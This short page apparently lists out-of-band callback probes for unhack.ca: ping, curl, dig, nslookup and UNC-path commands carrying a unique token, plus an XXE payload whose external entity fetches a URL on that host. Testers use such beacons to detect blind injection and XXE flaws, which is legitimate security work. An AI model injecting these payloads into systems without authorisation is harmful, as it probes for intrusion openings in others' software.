$ ping -c1 -p 007257a40dab19d97889650ba43fee00 unhack.ca
 

$ curl http://unhack.ca/p/7257a40dab19d97889650ba43fee
 

$ dig 7257a40dab19d97889650ba43fee @unhack.ca
 

$ dig 7257a40dab19d97889650ba43fee.ns.unhack.ca
 

C:\> nslookup 7257a40dab19d97889650ba43fee unhack.ca
 

C:\> type \\unhack.ca\7257a40dab19d97889650ba43fee\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7257a40dab19d97889650ba43fee">]>
    <foo>&xxe;</foo>